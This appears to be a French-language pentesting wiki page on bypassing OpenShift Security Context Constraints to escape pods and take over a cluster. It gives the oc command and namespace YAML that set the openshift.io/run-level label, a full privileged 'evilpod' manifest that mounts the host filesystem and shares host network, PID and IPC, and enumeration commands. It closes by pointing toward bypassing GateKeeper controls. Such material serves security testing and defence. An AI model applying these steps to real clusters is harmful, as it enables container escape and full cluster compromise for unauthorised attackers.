Openshift - SCC bypass

Reading time: 3 minutes

L'auteur original de cette page est Guillaume

Espaces de noms privilégiés

Par défaut, SCC ne s'applique pas sur les projets suivants :

  • default
  • kube-system
  • kube-public
  • openshift-node
  • openshift-infra
  • openshift

Si vous déployez des pods dans l'un de ces espaces de noms, aucun SCC ne sera appliqué, permettant le déploiement de pods privilégiés ou le montage du système de fichiers hôte.

Étiquette d'espace de noms

Il existe un moyen de désactiver l'application SCC sur votre pod selon la documentation de RedHat. Vous devrez avoir au moins l'une des permissions suivantes :

  • Créer un espace de noms et créer un pod dans cet espace de noms
  • Modifier un espace de noms et créer un pod dans cet espace de noms
bash
$ oc auth can-i create namespaces
yes

$ oc auth can-i patch namespaces
yes

Le label spécifique openshift.io/run-level permet aux utilisateurs de contourner les SCC pour les applications. Selon la documentation de RedHat, lorsque ce label est utilisé, aucune SCC n'est appliquée à tous les pods dans cet espace de noms, supprimant ainsi toutes les restrictions.

Ajouter un label

Pour ajouter le label dans votre espace de noms :

bash
$ oc label ns MYNAMESPACE openshift.io/run-level=0

Pour créer un espace de noms avec l'étiquette via un fichier YAML :

yaml
apiVersion: v1
kind: Namespace
metadata:
name: evil
labels:
openshift.io/run-level: 0

Maintenant, tous les nouveaux pods créés dans l'espace de noms ne devraient avoir aucun SCC

$ oc get pod -o yaml | grep 'openshift.io/scc'
$

En l'absence de SCC, il n'y a aucune restriction sur la définition de votre pod. Cela signifie qu'un pod malveillant peut être facilement créé pour s'échapper sur le système hôte.

yaml
apiVersion: v1
kind: Pod
metadata:
name: evilpod
labels:
kubernetes.io/hostname: evilpod
spec:
hostNetwork: true #Bind pod network to the host network
hostPID: true #See host processes
hostIPC: true #Access host inter processes
containers:
- name: evil
image: MYIMAGE
imagePullPolicy: IfNotPresent
securityContext:
privileged: true
allowPrivilegeEscalation: true
resources:
limits:
memory: 200Mi
requests:
cpu: 30m
memory: 100Mi
volumeMounts:
- name: hostrootfs
mountPath: /mnt
volumes:
- name: hostrootfs
hostPath:
path:

Maintenant, il est devenu plus facile d'escalader les privilèges pour accéder au système hôte et par la suite prendre le contrôle de l'ensemble du cluster, obtenant des privilèges 'cluster-admin'. Recherchez la partie Node-Post Exploitation dans la page suivante :

Attacking Kubernetes from inside a Pod

Étiquettes personnalisées

De plus, en fonction de la configuration cible, certaines étiquettes / annotations personnalisées peuvent être utilisées de la même manière que le scénario d'attaque précédent. Même si ce n'est pas prévu, les étiquettes pourraient être utilisées pour donner des permissions, restreindre ou non une ressource spécifique.

Essayez de rechercher des étiquettes personnalisées si vous pouvez lire certaines ressources. Voici une liste de ressources intéressantes :

  • Pod
  • Déploiement
  • Namespace
  • Service
  • Route
bash
$ oc get pod -o yaml | grep labels -A 5
$ oc get namespace -o yaml | grep labels -A 5

Lister tous les espaces de noms privilégiés

bash
$ oc get project -o yaml | grep 'run-level' -b5

Exploit avancé

Dans OpenShift, comme démontré précédemment, avoir la permission de déployer un pod dans un namespace avec le label openshift.io/run-level peut conduire à une prise de contrôle directe du cluster. Du point de vue des paramètres du cluster, cette fonctionnalité ne peut pas être désactivée, car elle est inhérente à la conception d'OpenShift.

Cependant, des mesures d'atténuation comme Open Policy Agent GateKeeper peuvent empêcher les utilisateurs de définir ce label.

Pour contourner les règles de GateKeeper et définir ce label pour exécuter une prise de contrôle du cluster, les attaquants devraient identifier des méthodes alternatives.

Références